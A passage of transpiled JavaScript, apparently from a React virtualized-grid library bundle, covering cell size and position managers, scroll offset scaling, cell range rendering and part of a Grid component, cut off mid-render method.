                if (index < 0 || index >= this._cellCount) throw Error("Requested index ".concat(index, " is outside of range 0..").concat(this._cellCount));
                if (index > this._lastMeasuredIndex) for (var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell(), offset = lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size, i = this._lastMeasuredIndex + 1; i <= index; i++) {
                    var size = this._cellSizeGetter({
                        index: i
                    });
                    if (void 0 === size || isNaN(size)) throw Error("Invalid size returned for cell ".concat(i, " of value ").concat(size));
                    null === size ? (this._cellSizeAndPositionData[i] = {
                        offset: offset,
                        size: 0
                    }, this._lastBatchedIndex = index) : (this._cellSizeAndPositionData[i] = {
                        offset: offset,
                        size: size
                    }, offset += size, this._lastMeasuredIndex = index);
                }
                return this._cellSizeAndPositionData[index];
            }
        }, {
            key: "getSizeAndPositionOfLastMeasuredCell",
            value: function() {
                return 0 <= this._lastMeasuredIndex ? this._cellSizeAndPositionData[this._lastMeasuredIndex] : {
                    offset: 0,
                    size: 0
                };
            }
        }, {
            key: "getTotalSize",
            value: function() {
                var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell();
                return lastMeasuredCellSizeAndPosition.offset + lastMeasuredCellSizeAndPosition.size + (this._cellCount - this._lastMeasuredIndex - 1) * this._estimatedCellSize;
            }
        }, {
            key: "getUpdatedOffsetForIndex",
            value: function(_ref3) {
                var _ref3$align = _ref3.align, align = void 0 === _ref3$align ? "auto" : _ref3$align, containerSize = _ref3.containerSize, currentOffset = _ref3.currentOffset, targetIndex = _ref3.targetIndex;
                if (containerSize <= 0) return 0;
                var idealOffset, datum = this.getSizeAndPositionOfCell(targetIndex), maxOffset = datum.offset, minOffset = maxOffset - containerSize + datum.size;
                switch (align) {
                  case "start":
                    idealOffset = maxOffset;
                    break;

                  case "end":
                    idealOffset = minOffset;
                    break;

                  case "center":
                    idealOffset = maxOffset - (containerSize - datum.size) / 2;
                    break;

                  default:
                    idealOffset = Math.max(minOffset, Math.min(maxOffset, currentOffset));
                }
                var totalSize = this.getTotalSize();
                return Math.max(0, Math.min(totalSize - containerSize, idealOffset));
            }
        }, {
            key: "getVisibleCellRange",
            value: function(params) {
                var containerSize = params.containerSize, offset = params.offset;
                if (0 === this.getTotalSize()) return {};
                var maxOffset = offset + containerSize, start = this._findNearestCell(offset), datum = this.getSizeAndPositionOfCell(start);
                offset = datum.offset + datum.size;
                for (var stop = start; offset < maxOffset && stop < this._cellCount - 1; ) stop++, 
                offset += this.getSizeAndPositionOfCell(stop).size;
                return {
                    start: start,
                    stop: stop
                };
            }
        }, {
            key: "resetCell",
            value: function(index) {
                this._lastMeasuredIndex = Math.min(this._lastMeasuredIndex, index - 1);
            }
        }, {
            key: "_binarySearch",
            value: function(high, low, offset) {
                for (;low <= high; ) {
                    var middle = low + Math.floor((high - low) / 2), currentOffset = this.getSizeAndPositionOfCell(middle).offset;
                    if (currentOffset === offset) return middle;
                    currentOffset < offset ? low = middle + 1 : offset < currentOffset && (high = middle - 1);
                }
                return 0 < low ? low - 1 : 0;
            }
        }, {
            key: "_exponentialSearch",
            value: function(index, offset) {
                for (var interval = 1; index < this._cellCount && this.getSizeAndPositionOfCell(index).offset < offset; ) index += interval, 
                interval *= 2;
                return this._binarySearch(Math.min(index, this._cellCount - 1), Math.floor(index / 2), offset);
            }
        }, {
            key: "_findNearestCell",
            value: function(offset) {
                if (isNaN(offset)) throw Error("Invalid offset ".concat(offset, " specified"));
                offset = Math.max(0, offset);
                var lastMeasuredCellSizeAndPosition = this.getSizeAndPositionOfLastMeasuredCell(), lastMeasuredIndex = Math.max(0, this._lastMeasuredIndex);
                return lastMeasuredCellSizeAndPosition.offset >= offset ? this._binarySearch(lastMeasuredIndex, 0, offset) : this._exponentialSearch(lastMeasuredIndex, offset);
            }
        } ]), CellSizeAndPositionManager;
    }(), getMaxElementSize = function() {
        return "undefined" != typeof window && window.chrome ? 16777100 : 15e5;
    }, ScalingCellSizeAndPositionManager = function() {
        function ScalingCellSizeAndPositionManager(_ref) {
            var _ref$maxScrollSize = _ref.maxScrollSize, maxScrollSize = void 0 === _ref$maxScrollSize ? getMaxElementSize() : _ref$maxScrollSize, params = _objectWithoutProperties(_ref, [ "maxScrollSize" ]);
            _classCallCheck(this, ScalingCellSizeAndPositionManager), _defineProperty(this, "_cellSizeAndPositionManager", void 0), 
            _defineProperty(this, "_maxScrollSize", void 0), this._cellSizeAndPositionManager = new CellSizeAndPositionManager(params), 
            this._maxScrollSize = maxScrollSize;
        }
        return _createClass(ScalingCellSizeAndPositionManager, [ {
            key: "areOffsetsAdjusted",
            value: function() {
                return this._cellSizeAndPositionManager.getTotalSize() > this._maxScrollSize;
            }
        }, {
            key: "configure",
            value: function(params) {
                this._cellSizeAndPositionManager.configure(params);
            }
        }, {
            key: "getCellCount",
            value: function() {
                return this._cellSizeAndPositionManager.getCellCount();
            }
        }, {
            key: "getEstimatedCellSize",
            value: function() {
                return this._cellSizeAndPositionManager.getEstimatedCellSize();
            }
        }, {
            key: "getLastMeasuredIndex",
            value: function() {
                return this._cellSizeAndPositionManager.getLastMeasuredIndex();
            }
        }, {
            key: "getOffsetAdjustment",
            value: function(_ref2) {
                var containerSize = _ref2.containerSize, offset = _ref2.offset, totalSize = this._cellSizeAndPositionManager.getTotalSize(), safeTotalSize = this.getTotalSize(), offsetPercentage = this._getOffsetPercentage({
                    containerSize: containerSize,
                    offset: offset,
                    totalSize: safeTotalSize
                });
                return Math.round(offsetPercentage * (safeTotalSize - totalSize));
            }
        }, {
            key: "getSizeAndPositionOfCell",
            value: function(index) {
                return this._cellSizeAndPositionManager.getSizeAndPositionOfCell(index);
            }
        }, {
            key: "getSizeAndPositionOfLastMeasuredCell",
            value: function() {
                return this._cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell();
            }
        }, {
            key: "getTotalSize",
            value: function() {
                return Math.min(this._maxScrollSize, this._cellSizeAndPositionManager.getTotalSize());
            }
        }, {
            key: "getUpdatedOffsetForIndex",
            value: function(_ref3) {
                var _ref3$align = _ref3.align, align = void 0 === _ref3$align ? "auto" : _ref3$align, containerSize = _ref3.containerSize, currentOffset = _ref3.currentOffset, targetIndex = _ref3.targetIndex;
                currentOffset = this._safeOffsetToOffset({
                    containerSize: containerSize,
                    offset: currentOffset
                });
                var offset = this._cellSizeAndPositionManager.getUpdatedOffsetForIndex({
                    align: align,
                    containerSize: containerSize,
                    currentOffset: currentOffset,
                    targetIndex: targetIndex
                });
                return this._offsetToSafeOffset({
                    containerSize: containerSize,
                    offset: offset
                });
            }
        }, {
            key: "getVisibleCellRange",
            value: function(_ref4) {
                var containerSize = _ref4.containerSize, offset = _ref4.offset;
                return offset = this._safeOffsetToOffset({
                    containerSize: containerSize,
                    offset: offset
                }), this._cellSizeAndPositionManager.getVisibleCellRange({
                    containerSize: containerSize,
                    offset: offset
                });
            }
        }, {
            key: "resetCell",
            value: function(index) {
                this._cellSizeAndPositionManager.resetCell(index);
            }
        }, {
            key: "_getOffsetPercentage",
            value: function(_ref5) {
                var containerSize = _ref5.containerSize, offset = _ref5.offset, totalSize = _ref5.totalSize;
                return totalSize <= containerSize ? 0 : offset / (totalSize - containerSize);
            }
        }, {
            key: "_offsetToSafeOffset",
            value: function(_ref6) {
                var containerSize = _ref6.containerSize, offset = _ref6.offset, totalSize = this._cellSizeAndPositionManager.getTotalSize(), safeTotalSize = this.getTotalSize();
                if (totalSize === safeTotalSize) return offset;
                var offsetPercentage = this._getOffsetPercentage({
                    containerSize: containerSize,
                    offset: offset,
                    totalSize: totalSize
                });
                return Math.round(offsetPercentage * (safeTotalSize - containerSize));
            }
        }, {
            key: "_safeOffsetToOffset",
            value: function(_ref7) {
                var containerSize = _ref7.containerSize, offset = _ref7.offset, totalSize = this._cellSizeAndPositionManager.getTotalSize(), safeTotalSize = this.getTotalSize();
                if (totalSize === safeTotalSize) return offset;
                var offsetPercentage = this._getOffsetPercentage({
                    containerSize: containerSize,
                    offset: offset,
                    totalSize: safeTotalSize
                });
                return Math.round(offsetPercentage * (totalSize - containerSize));
            }
        } ]), ScalingCellSizeAndPositionManager;
    }();
    function defaultOverscanIndicesGetter(_ref) {
        var cellCount = _ref.cellCount, overscanCellsCount = _ref.overscanCellsCount, scrollDirection = _ref.scrollDirection, startIndex = _ref.startIndex, stopIndex = _ref.stopIndex;
        return 1 === scrollDirection ? {
            overscanStartIndex: Math.max(0, startIndex),
            overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
        } : {
            overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
            overscanStopIndex: Math.min(cellCount - 1, stopIndex)
        };
    }
    function updateScrollIndexHelper(_ref) {
        var cellSize = _ref.cellSize, cellSizeAndPositionManager = _ref.cellSizeAndPositionManager, previousCellsCount = _ref.previousCellsCount, previousCellSize = _ref.previousCellSize, previousScrollToAlignment = _ref.previousScrollToAlignment, previousScrollToIndex = _ref.previousScrollToIndex, previousSize = _ref.previousSize, scrollOffset = _ref.scrollOffset, scrollToAlignment = _ref.scrollToAlignment, scrollToIndex = _ref.scrollToIndex, size = _ref.size, sizeJustIncreasedFromZero = _ref.sizeJustIncreasedFromZero, updateScrollIndexCallback = _ref.updateScrollIndexCallback, cellCount = cellSizeAndPositionManager.getCellCount(), hasScrollToIndex = 0 <= scrollToIndex && scrollToIndex < cellCount;
        hasScrollToIndex && (size !== previousSize || sizeJustIncreasedFromZero || !previousCellSize || "number" == typeof cellSize && cellSize !== previousCellSize || scrollToAlignment !== previousScrollToAlignment || scrollToIndex !== previousScrollToIndex) ? updateScrollIndexCallback(scrollToIndex) : !hasScrollToIndex && 0 < cellCount && (size < previousSize || cellCount < previousCellsCount) && scrollOffset > cellSizeAndPositionManager.getTotalSize() - size && updateScrollIndexCallback(cellCount - 1);
    }
    function defaultCellRangeRenderer(_ref) {
        for (var cellCache = _ref.cellCache, cellRenderer = _ref.cellRenderer, columnSizeAndPositionManager = _ref.columnSizeAndPositionManager, columnStartIndex = _ref.columnStartIndex, columnStopIndex = _ref.columnStopIndex, deferredMeasurementCache = _ref.deferredMeasurementCache, horizontalOffsetAdjustment = _ref.horizontalOffsetAdjustment, isScrolling = _ref.isScrolling, isScrollingOptOut = _ref.isScrollingOptOut, parent = _ref.parent, rowSizeAndPositionManager = _ref.rowSizeAndPositionManager, rowStartIndex = _ref.rowStartIndex, rowStopIndex = _ref.rowStopIndex, styleCache = _ref.styleCache, verticalOffsetAdjustment = _ref.verticalOffsetAdjustment, visibleColumnIndices = _ref.visibleColumnIndices, visibleRowIndices = _ref.visibleRowIndices, renderedCells = [], areOffsetsAdjusted = columnSizeAndPositionManager.areOffsetsAdjusted() || rowSizeAndPositionManager.areOffsetsAdjusted(), canCacheStyle = !isScrolling && !areOffsetsAdjusted, rowIndex = rowStartIndex; rowIndex <= rowStopIndex; rowIndex++) for (var rowDatum = rowSizeAndPositionManager.getSizeAndPositionOfCell(rowIndex), columnIndex = columnStartIndex; columnIndex <= columnStopIndex; columnIndex++) {
            var columnDatum = columnSizeAndPositionManager.getSizeAndPositionOfCell(columnIndex), isVisible = columnIndex >= visibleColumnIndices.start && columnIndex <= visibleColumnIndices.stop && rowIndex >= visibleRowIndices.start && rowIndex <= visibleRowIndices.stop, key = "".concat(rowIndex, "-").concat(columnIndex), style = void 0;
            canCacheStyle && styleCache[key] ? style = styleCache[key] : deferredMeasurementCache && !deferredMeasurementCache.has(rowIndex, columnIndex) ? style = {
                height: "auto",
                left: 0,
                position: "absolute",
                top: 0,
                width: "auto"
            } : (style = {
                height: rowDatum.size,
                left: columnDatum.offset + horizontalOffsetAdjustment,
                position: "absolute",
                top: rowDatum.offset + verticalOffsetAdjustment,
                width: columnDatum.size
            }, styleCache[key] = style);
            var cellRendererParams = {
                columnIndex: columnIndex,
                isScrolling: isScrolling,
                isVisible: isVisible,
                key: key,
                parent: parent,
                rowIndex: rowIndex,
                style: style
            }, renderedCell = void 0;
            null != (renderedCell = !isScrollingOptOut && !isScrolling || horizontalOffsetAdjustment || verticalOffsetAdjustment ? cellRenderer(cellRendererParams) : (cellCache[key] || (cellCache[key] = cellRenderer(cellRendererParams)), 
            cellCache[key])) && !1 !== renderedCell && (warnAboutMissingStyle(parent, renderedCell), 
            renderedCells.push(renderedCell));
        }
        return renderedCells;
    }
    function warnAboutMissingStyle(parent, renderedCell) {
        renderedCell && (renderedCell.type && renderedCell.type.__internalCellMeasurerFlag && (renderedCell = renderedCell.props.children), 
        renderedCell && renderedCell.props && void 0 === renderedCell.props.style && !0 !== parent.__warnedAboutMissingStyle && (parent.__warnedAboutMissingStyle = !0, 
        console.warn("Rendered cell should include style property for positioning.")));
    }
    var request = (win = "undefined" != typeof window ? window : "undefined" != typeof self ? self : {}).requestAnimationFrame || win.webkitRequestAnimationFrame || win.mozRequestAnimationFrame || win.oRequestAnimationFrame || win.msRequestAnimationFrame || function(callback) {
        return win.setTimeout(callback, 1e3 / 60);
    }, cancel = win.cancelAnimationFrame || win.webkitCancelAnimationFrame || win.mozCancelAnimationFrame || win.oCancelAnimationFrame || win.msCancelAnimationFrame || function(id) {
        win.clearTimeout(id);
    }, raf = request, caf = cancel, cancelAnimationTimeout = function(frame) {
        return caf(frame.id);
    }, requestAnimationTimeout = function(callback, delay) {
        var start;
        Promise.resolve().then(function() {
            start = Date.now();
        });
        var frame = {
            id: raf(function timeout() {
                Date.now() - start >= delay ? callback.call() : frame.id = raf(timeout);
            })
        };
        return frame;
    }, SCROLL_POSITION_CHANGE_REASONS$1_OBSERVED = "observed", SCROLL_POSITION_CHANGE_REASONS$1_REQUESTED = "requested", Grid = function() {
        function Grid(props) {
            var _this;
            _classCallCheck(this, Grid), _defineProperty(_assertThisInitialized(_this = _possibleConstructorReturn(this, _getPrototypeOf(Grid).call(this, props))), "_onGridRenderedMemoizer", createCallbackMemoizer()), 
            _defineProperty(_assertThisInitialized(_this), "_onScrollMemoizer", createCallbackMemoizer(!1)), 
            _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateColumnIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_deferredInvalidateRowIndex", null), 
            _defineProperty(_assertThisInitialized(_this), "_recomputeScrollLeftFlag", !1), 
            _defineProperty(_assertThisInitialized(_this), "_recomputeScrollTopFlag", !1), _defineProperty(_assertThisInitialized(_this), "_horizontalScrollBarSize", 0), 
            _defineProperty(_assertThisInitialized(_this), "_verticalScrollBarSize", 0), _defineProperty(_assertThisInitialized(_this), "_scrollbarPresenceChanged", !1), 
            _defineProperty(_assertThisInitialized(_this), "_scrollingContainer", void 0), _defineProperty(_assertThisInitialized(_this), "_childrenToDisplay", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_columnStartIndex", void 0), _defineProperty(_assertThisInitialized(_this), "_columnStopIndex", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_rowStartIndex", void 0), _defineProperty(_assertThisInitialized(_this), "_rowStopIndex", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_renderedColumnStartIndex", 0), 
            _defineProperty(_assertThisInitialized(_this), "_renderedColumnStopIndex", 0), _defineProperty(_assertThisInitialized(_this), "_renderedRowStartIndex", 0), 
            _defineProperty(_assertThisInitialized(_this), "_renderedRowStopIndex", 0), _defineProperty(_assertThisInitialized(_this), "_initialScrollTop", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_initialScrollLeft", void 0), _defineProperty(_assertThisInitialized(_this), "_disablePointerEventsTimeoutId", void 0), 
            _defineProperty(_assertThisInitialized(_this), "_styleCache", {}), _defineProperty(_assertThisInitialized(_this), "_cellCache", {}), 
            _defineProperty(_assertThisInitialized(_this), "_debounceScrollEndedCallback", function() {
                _this._disablePointerEventsTimeoutId = null, _this.setState({
                    isScrolling: !1,
                    needToResetStyleCache: !1
                });
            }), _defineProperty(_assertThisInitialized(_this), "_invokeOnGridRenderedHelper", function() {
                var onSectionRendered = _this.props.onSectionRendered;
                _this._onGridRenderedMemoizer({
                    callback: onSectionRendered,
                    indices: {
                        columnOverscanStartIndex: _this._columnStartIndex,
                        columnOverscanStopIndex: _this._columnStopIndex,
                        columnStartIndex: _this._renderedColumnStartIndex,
                        columnStopIndex: _this._renderedColumnStopIndex,
                        rowOverscanStartIndex: _this._rowStartIndex,
                        rowOverscanStopIndex: _this._rowStopIndex,
                        rowStartIndex: _this._renderedRowStartIndex,
                        rowStopIndex: _this._renderedRowStopIndex
                    }
                });
            }), _defineProperty(_assertThisInitialized(_this), "_setScrollingContainerRef", function(ref) {
                _this._scrollingContainer = ref;
            }), _defineProperty(_assertThisInitialized(_this), "_onScroll", function(event) {
                event.target === _this._scrollingContainer && _this.handleScrollEvent(event.target);
            });
            var columnSizeAndPositionManager = new ScalingCellSizeAndPositionManager({
                cellCount: props.columnCount,
                cellSizeGetter: function(params) {
                    return Grid._wrapSizeGetter(props.columnWidth)(params);
                },
                estimatedCellSize: Grid._getEstimatedColumnSize(props)
            }), rowSizeAndPositionManager = new ScalingCellSizeAndPositionManager({
                cellCount: props.rowCount,
                cellSizeGetter: function(params) {
                    return Grid._wrapSizeGetter(props.rowHeight)(params);
                },
                estimatedCellSize: Grid._getEstimatedRowSize(props)
            });
            return _this.state = {
                instanceProps: {
                    columnSizeAndPositionManager: columnSizeAndPositionManager,
                    rowSizeAndPositionManager: rowSizeAndPositionManager,
                    prevColumnWidth: props.columnWidth,
                    prevRowHeight: props.rowHeight,
                    prevColumnCount: props.columnCount,
                    prevRowCount: props.rowCount,
                    prevIsScrolling: !0 === props.isScrolling,
                    prevScrollToColumn: props.scrollToColumn,
                    prevScrollToRow: props.scrollToRow,
                    scrollbarSize: 0,
                    scrollbarSizeMeasured: !1
                },
                isScrolling: !1,
                scrollDirectionHorizontal: 1,
                scrollDirectionVertical: 1,
                scrollLeft: 0,
                scrollTop: 0,
                scrollPositionChangeReason: null,
                needToResetStyleCache: !1
            }, 0 < props.scrollToRow && (_this._initialScrollTop = _this._getCalculatedScrollTop(props, _this.state)), 
            0 < props.scrollToColumn && (_this._initialScrollLeft = _this._getCalculatedScrollLeft(props, _this.state)), 
            _this;
        }
        return _inherits(Grid, React.PureComponent), _createClass(Grid, [ {
            key: "getOffsetForCell",
            value: function(argument_0) {
                var _ref = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref$alignment = _ref.alignment, alignment = void 0 === _ref$alignment ? this.props.scrollToAlignment : _ref$alignment, _ref$columnIndex = _ref.columnIndex, columnIndex = void 0 === _ref$columnIndex ? this.props.scrollToColumn : _ref$columnIndex, _ref$rowIndex = _ref.rowIndex, rowIndex = void 0 === _ref$rowIndex ? this.props.scrollToRow : _ref$rowIndex, offsetProps = _objectSpread2({}, this.props, {
                    scrollToAlignment: alignment,
                    scrollToColumn: columnIndex,
                    scrollToRow: rowIndex
                });
                return {
                    scrollLeft: this._getCalculatedScrollLeft(offsetProps),
                    scrollTop: this._getCalculatedScrollTop(offsetProps)
                };
            }
        }, {
            key: "getTotalRowsHeight",
            value: function() {
                return this.state.instanceProps.rowSizeAndPositionManager.getTotalSize();
            }
        }, {
            key: "getTotalColumnsWidth",
            value: function() {
                return this.state.instanceProps.columnSizeAndPositionManager.getTotalSize();
            }
        }, {
            key: "handleScrollEvent",
            value: function(_ref2) {
                var _ref2$scrollLeft = _ref2.scrollLeft, scrollLeftParam = void 0 === _ref2$scrollLeft ? 0 : _ref2$scrollLeft, _ref2$scrollTop = _ref2.scrollTop, scrollTopParam = void 0 === _ref2$scrollTop ? 0 : _ref2$scrollTop;
                if (!(scrollTopParam < 0)) {
                    this._debounceScrollEnded();
                    var _this$props = this.props, autoHeight = _this$props.autoHeight, autoWidth = _this$props.autoWidth, height = _this$props.height, width = _this$props.width, instanceProps = this.state.instanceProps, scrollbarSize = instanceProps.scrollbarSize, totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(), totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize(), scrollLeft = Math.min(Math.max(0, totalColumnsWidth - width + scrollbarSize), scrollLeftParam), scrollTop = Math.min(Math.max(0, totalRowsHeight - height + scrollbarSize), scrollTopParam);
                    if (this.state.scrollLeft !== scrollLeft || this.state.scrollTop !== scrollTop) {
                        var newState = {
                            isScrolling: !0,
                            scrollDirectionHorizontal: scrollLeft !== this.state.scrollLeft ? scrollLeft > this.state.scrollLeft ? 1 : -1 : this.state.scrollDirectionHorizontal,
                            scrollDirectionVertical: scrollTop !== this.state.scrollTop ? scrollTop > this.state.scrollTop ? 1 : -1 : this.state.scrollDirectionVertical,
                            scrollPositionChangeReason: SCROLL_POSITION_CHANGE_REASONS$1_OBSERVED
                        };
                        autoHeight || (newState.scrollTop = scrollTop), autoWidth || (newState.scrollLeft = scrollLeft), 
                        newState.needToResetStyleCache = !1, this.setState(newState);
                    }
                    this._invokeOnScrollMemoizer({
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop,
                        totalColumnsWidth: totalColumnsWidth,
                        totalRowsHeight: totalRowsHeight
                    });
                }
            }
        }, {
            key: "invalidateCellSizeAfterRender",
            value: function(_ref3) {
                var columnIndex = _ref3.columnIndex, rowIndex = _ref3.rowIndex;
                this._deferredInvalidateColumnIndex = "number" == typeof this._deferredInvalidateColumnIndex ? Math.min(this._deferredInvalidateColumnIndex, columnIndex) : columnIndex, 
                this._deferredInvalidateRowIndex = "number" == typeof this._deferredInvalidateRowIndex ? Math.min(this._deferredInvalidateRowIndex, rowIndex) : rowIndex;
            }
        }, {
            key: "measureAllCells",
            value: function() {
                var _this$props2 = this.props, columnCount = _this$props2.columnCount, rowCount = _this$props2.rowCount, instanceProps = this.state.instanceProps;
                instanceProps.columnSizeAndPositionManager.getSizeAndPositionOfCell(columnCount - 1), 
                instanceProps.rowSizeAndPositionManager.getSizeAndPositionOfCell(rowCount - 1);
            }
        }, {
            key: "recomputeGridSize",
            value: function(argument_0) {
                var _ref4 = 0 < arguments.length && void 0 !== argument_0 ? argument_0 : {}, _ref4$columnIndex = _ref4.columnIndex, columnIndex = void 0 === _ref4$columnIndex ? 0 : _ref4$columnIndex, _ref4$rowIndex = _ref4.rowIndex, rowIndex = void 0 === _ref4$rowIndex ? 0 : _ref4$rowIndex, _this$props3 = this.props, scrollToColumn = _this$props3.scrollToColumn, scrollToRow = _this$props3.scrollToRow, instanceProps = this.state.instanceProps;
                instanceProps.columnSizeAndPositionManager.resetCell(columnIndex), instanceProps.rowSizeAndPositionManager.resetCell(rowIndex), 
                this._recomputeScrollLeftFlag = 0 <= scrollToColumn && (1 === this.state.scrollDirectionHorizontal ? columnIndex <= scrollToColumn : scrollToColumn <= columnIndex), 
                this._recomputeScrollTopFlag = 0 <= scrollToRow && (1 === this.state.scrollDirectionVertical ? rowIndex <= scrollToRow : scrollToRow <= rowIndex), 
                this._styleCache = {}, this._cellCache = {}, this.forceUpdate();
            }
        }, {
            key: "scrollToCell",
            value: function(_ref5) {
                var columnIndex = _ref5.columnIndex, rowIndex = _ref5.rowIndex, columnCount = this.props.columnCount, props = this.props;
                1 < columnCount && void 0 !== columnIndex && this._updateScrollLeftForScrollToColumn(_objectSpread2({}, props, {
                    scrollToColumn: columnIndex
                })), void 0 !== rowIndex && this._updateScrollTopForScrollToRow(_objectSpread2({}, props, {
                    scrollToRow: rowIndex
                }));
            }
        }, {
            key: "componentDidMount",
            value: function() {
                var _this$props4 = this.props, getScrollbarSize = _this$props4.getScrollbarSize, height = _this$props4.height, scrollLeft = _this$props4.scrollLeft, scrollToColumn = _this$props4.scrollToColumn, scrollTop = _this$props4.scrollTop, scrollToRow = _this$props4.scrollToRow, width = _this$props4.width, instanceProps = this.state.instanceProps;
                if (this._initialScrollTop = 0, this._initialScrollLeft = 0, this._handleInvalidatedGridSize(), 
                instanceProps.scrollbarSizeMeasured || this.setState(function(prevState) {
                    var stateUpdate = _objectSpread2({}, prevState, {
                        needToResetStyleCache: !1
                    });
                    return stateUpdate.instanceProps.scrollbarSize = getScrollbarSize(), stateUpdate.instanceProps.scrollbarSizeMeasured = !0, 
                    stateUpdate;
                }), "number" == typeof scrollLeft && 0 <= scrollLeft || "number" == typeof scrollTop && 0 <= scrollTop) {
                    var stateUpdate = Grid._getScrollToPositionStateUpdate({
                        prevState: this.state,
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop
                    });
                    stateUpdate && (stateUpdate.needToResetStyleCache = !1, this.setState(stateUpdate));
                }
                this._scrollingContainer && (this._scrollingContainer.scrollLeft !== this.state.scrollLeft && (this._scrollingContainer.scrollLeft = this.state.scrollLeft), 
                this._scrollingContainer.scrollTop !== this.state.scrollTop && (this._scrollingContainer.scrollTop = this.state.scrollTop));
                var sizeIsBiggerThanZero = 0 < height && 0 < width;
                0 <= scrollToColumn && sizeIsBiggerThanZero && this._updateScrollLeftForScrollToColumn(), 
                0 <= scrollToRow && sizeIsBiggerThanZero && this._updateScrollTopForScrollToRow(), 
                this._invokeOnGridRenderedHelper(), this._invokeOnScrollMemoizer({
                    scrollLeft: scrollLeft || 0,
                    scrollTop: scrollTop || 0,
                    totalColumnsWidth: instanceProps.columnSizeAndPositionManager.getTotalSize(),
                    totalRowsHeight: instanceProps.rowSizeAndPositionManager.getTotalSize()
                }), this._maybeCallOnScrollbarPresenceChange();
            }
        }, {
            key: "componentDidUpdate",
            value: function(prevProps, prevState) {
                var _this2 = this, _this$props5 = this.props, autoHeight = _this$props5.autoHeight, autoWidth = _this$props5.autoWidth, columnCount = _this$props5.columnCount, height = _this$props5.height, rowCount = _this$props5.rowCount, scrollToAlignment = _this$props5.scrollToAlignment, scrollToColumn = _this$props5.scrollToColumn, scrollToRow = _this$props5.scrollToRow, width = _this$props5.width, _this$state = this.state, scrollLeft = _this$state.scrollLeft, scrollPositionChangeReason = _this$state.scrollPositionChangeReason, scrollTop = _this$state.scrollTop, instanceProps = _this$state.instanceProps;
                this._handleInvalidatedGridSize();
                var columnOrRowCountJustIncreasedFromZero = 0 < columnCount && 0 === prevProps.columnCount || 0 < rowCount && 0 === prevProps.rowCount;
                scrollPositionChangeReason === SCROLL_POSITION_CHANGE_REASONS$1_REQUESTED && (!autoWidth && 0 <= scrollLeft && (scrollLeft !== this._scrollingContainer.scrollLeft || columnOrRowCountJustIncreasedFromZero) && (this._scrollingContainer.scrollLeft = scrollLeft), 
                !autoHeight && 0 <= scrollTop && (scrollTop !== this._scrollingContainer.scrollTop || columnOrRowCountJustIncreasedFromZero) && (this._scrollingContainer.scrollTop = scrollTop));
                var sizeJustIncreasedFromZero = (0 === prevProps.width || 0 === prevProps.height) && 0 < height && 0 < width;
                if (this._recomputeScrollLeftFlag ? (this._recomputeScrollLeftFlag = !1, this._updateScrollLeftForScrollToColumn(this.props)) : updateScrollIndexHelper({
                    cellSizeAndPositionManager: instanceProps.columnSizeAndPositionManager,
                    previousCellsCount: prevProps.columnCount,
                    previousCellSize: prevProps.columnWidth,
                    previousScrollToAlignment: prevProps.scrollToAlignment,
                    previousScrollToIndex: prevProps.scrollToColumn,
                    previousSize: prevProps.width,
                    scrollOffset: scrollLeft,
                    scrollToAlignment: scrollToAlignment,
                    scrollToIndex: scrollToColumn,
                    size: width,
                    sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
                    updateScrollIndexCallback: function() {
                        return _this2._updateScrollLeftForScrollToColumn(_this2.props);
                    }
                }), this._recomputeScrollTopFlag ? (this._recomputeScrollTopFlag = !1, this._updateScrollTopForScrollToRow(this.props)) : updateScrollIndexHelper({
                    cellSizeAndPositionManager: instanceProps.rowSizeAndPositionManager,
                    previousCellsCount: prevProps.rowCount,
                    previousCellSize: prevProps.rowHeight,
                    previousScrollToAlignment: prevProps.scrollToAlignment,
                    previousScrollToIndex: prevProps.scrollToRow,
                    previousSize: prevProps.height,
                    scrollOffset: scrollTop,
                    scrollToAlignment: scrollToAlignment,
                    scrollToIndex: scrollToRow,
                    size: height,
                    sizeJustIncreasedFromZero: sizeJustIncreasedFromZero,
                    updateScrollIndexCallback: function() {
                        return _this2._updateScrollTopForScrollToRow(_this2.props);
                    }
                }), this._invokeOnGridRenderedHelper(), scrollLeft !== prevState.scrollLeft || scrollTop !== prevState.scrollTop) {
                    var totalRowsHeight = instanceProps.rowSizeAndPositionManager.getTotalSize(), totalColumnsWidth = instanceProps.columnSizeAndPositionManager.getTotalSize();
                    this._invokeOnScrollMemoizer({
                        scrollLeft: scrollLeft,
                        scrollTop: scrollTop,
                        totalColumnsWidth: totalColumnsWidth,
                        totalRowsHeight: totalRowsHeight
                    });
                }
                this._maybeCallOnScrollbarPresenceChange();
            }
        }, {
            key: "componentWillUnmount",
            value: function() {
                this._disablePointerEventsTimeoutId && cancelAnimationTimeout(this._disablePointerEventsTimeoutId);
            }
        }, {
            key: "render",
            value: function() {
                var _this$props6 = this.props, autoContainerWidth = _this$props6.autoContainerWidth, autoHeight = _this$props6.autoHeight, autoWidth = _this$props6.autoWidth, className = _this$props6.className, containerProps = _this$props6.containerProps, containerRole = _this$props6.containerRole, containerStyle = _this$props6.containerStyle, height = _this$props6.height, id = _this$props6.id, noContentRenderer = _this$props6.noContentRenderer, role = _this$props6.role, style = _this$props6.style, tabIndex = _this$props6.tabIndex, width = _this$props6.width, _this$state2 = this.state, instanceProps = _this$state2.instanceProps, needToResetStyleCache = _this$state2.needToResetStyleCache, isScrolling = this._isScrolling(), gridStyle = {
                    boxSizing: "border-box",
                    direction: "ltr",
                    height: autoHeight ? "auto" : height,
                    position: "relative",
                    width: autoWidth ? "auto" : width,
                    WebkitOverflowScrolling: "touch",
                    willChange: "transform"
                };
                needToResetStyleCache && (this._styleCache = {}), this.state.isScrolling || this._resetStyleCache(), 
